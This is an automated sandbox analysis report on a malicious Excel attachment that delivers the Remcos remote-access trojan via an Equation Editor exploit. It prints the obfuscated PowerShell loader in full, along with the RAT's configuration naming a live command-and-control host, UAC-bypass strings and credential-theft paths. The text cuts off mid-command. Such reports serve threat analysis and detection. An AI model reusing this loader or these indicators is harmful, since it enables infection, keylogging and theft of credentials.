Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PI-002312.xls

Overview

General Information

Sample name:PI-002312.xls
Analysis ID:1484021
MD5:b271becd6dd76a902d4374ce60edbcea
SHA1:462290f5cd625b6e7c5f390f989674fe6f87636f
SHA256:aca81cde18c7fe3986668dda6e66b95de6826d6a6cb916e3507380b96800b96b
Tags:xls
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious Excel or Word document
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 1404 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • WINWORD.EXE (PID: 1400 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
      • EQNEDT32.EXE (PID: 2676 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
    • wscript.exe (PID: 3124 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A)
      • powershell.exe (PID: 3168 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'') MD5: EB32C070E658937AA9FA9F3AE629B2B8)
        • RegAsm.exe (PID: 3320 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "tochisglobal.ddns.net:6426:1", "Assigned name": "benchao", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-9R4HLX", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\ProgramData\remcos\logs.datJoeSecurity_RemcosYara detected Remcos RATJoe Security
    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl[1].docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
    • 0xa64:$obj2: \objdata
    • 0xa4a:$obj3: \objupdate
    • 0xa25:$obj6: \objlink
    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B5C3D2B.docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
    • 0xa64:$obj2: \objdata
    • 0xa4a:$obj3: \objupdate
    • 0xa25:$obj6: \objlink

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000000C.00000002.1049251822.000000000053C000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      0000000C.00000002.1049706857.000000000226E000.00000004.00000010.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
          0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
            0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
            • 0x6c4a8:$a1: Remcos restarted by watchdog!
            • 0x6ca20:$a3: %02i:%02i:%02i:%03i
            Click to see the 18 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            12.2.RegAsm.exe.400000.0.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
              12.2.RegAsm.exe.400000.0.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                12.2.RegAsm.exe.400000.0.unpackWindows_Trojan_Remcos_b296e965unknownunknown
                • 0x6aaa8:$a1: Remcos restarted by watchdog!
                • 0x6b020:$a3: %02i:%02i:%02i:%03i
                12.2.RegAsm.exe.400000.0.unpackREMCOS_RAT_variantsunknownunknown
                • 0x64afc:$str_a1: C:\Windows\System32\cmd.exe
                • 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
                • 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
                • 0x64b6c:$str_b2: Executing file:
                • 0x65bec:$str_b3: GetDirectListeningPort
                • 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
                • 0x65718:$str_b7: \update.vbs
                • 0x64b94:$str_b9: Downloaded file:
                • 0x64b80:$str_b10: Downloading file:
                • 0x64c24:$str_b12: Failed to upload file:
                • 0x65bb4:$str_b13: StartForward
                • 0x65bd4:$str_b14: StopForward
                • 0x65670:$str_b15: fso.DeleteFile "
                • 0x65604:$str_b16: On Error Resume Next
                • 0x656a0:$str_b17: fso.DeleteFolder "
                • 0x64c14:$str_b18: Uploaded file:
                • 0x64bd4:$str_b19: Unable to delete:
                • 0x65638:$str_b20: while fso.FileExists("
                • 0x650b1:$str_c0: [Firefox StoredLogins not found]
                12.2.RegAsm.exe.400000.0.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
                • 0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                • 0x6497c:$s1: CoGetObject
                • 0x64990:$s1: CoGetObject
                • 0x649ac:$s1: CoGetObject
                • 0x6e938:$s1: CoGetObject
                • 0x6493c:$s2: Elevation:Administrator!new:
                Click to see the 18 entries

                Sigma Signatures

                Exploits

                barindex
                Sigma detected: EQNEDT32.EXE connecting to internet
                Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 172.245.123.11, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2676, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49166
                Sigma detected: File Dropped By EQNEDT32EXE
                Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2676, TargetFilename: C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS

                System Summary

                barindex
                Sigma detected: Base64 Encoded PowerShell Command Detected
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
                Sigma detected: Equation Editor Network Connection
                Source: Network ConnectionAuthor: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49166, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2676, Protocol: tcp, SourceIp: 172.245.123.11, SourceIsIpv6: false, SourcePort: 80
                Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
                Source: Process startedAuthor: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
                Sigma detected: Potential PowerShell Command Line Obfuscation
                Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2